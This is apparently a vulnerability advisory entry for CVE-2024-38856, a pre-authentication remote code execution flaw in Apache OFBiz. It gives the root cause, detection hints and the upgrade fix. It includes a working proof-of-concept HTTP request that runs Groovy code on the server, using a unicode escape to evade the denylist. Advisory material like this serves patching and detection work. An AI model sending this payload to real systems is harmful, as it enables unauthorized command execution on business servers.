Apache OFBiz ProgramExport Auth Bypass RCE
- Product
- Apache OFBiz
- CVE
- CVE-2024-38856
- Disclosed
- 2024-08-05
- CVSS
- 9.8
- Auth
- pre-auth
- CISA KEV
- yes
- Affected
- <= 18.12.14
- Fixed
- 18.12.15
Summary
Apache OFBiz's override-view handling let unauthenticated users reach screens that should require login, including the Groovy ProgramExport tool. It is a bypass of the earlier CVE-2023-51467 fix and was exploited shortly after disclosure.
Root cause
The request controller authorized the first URI segment (e.g. /webtools/control/main, which needs no auth) but rendered the 'override view' named in the next segment (ProgramExport). ProgramExport evaluates attacker-supplied Groovy, and denylist filtering can be evaded with unicode escapes like \u0065xecute.
Impact
Unauthenticated RCE on OFBiz ERP deployments.
Public PoC
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: target:8443
Content-Type: multipart/form-data; boundary=----X
------X
Content-Disposition: form-data; name="groovyProgram"
throw new Exception('id'.\u0065xecute().text);
------X--Source: vulhub / ofbiz/CVE-2024-38856
Detection
Look for POSTs to /webtools/control/main/ProgramExport (or other <public>/<protected> view combos) with groovyProgram parameters. nuclei template CVE-2024-38856.
Mitigation
Upgrade to 18.12.15+ (later releases fix follow-on bypasses CVE-2024-45195 etc.).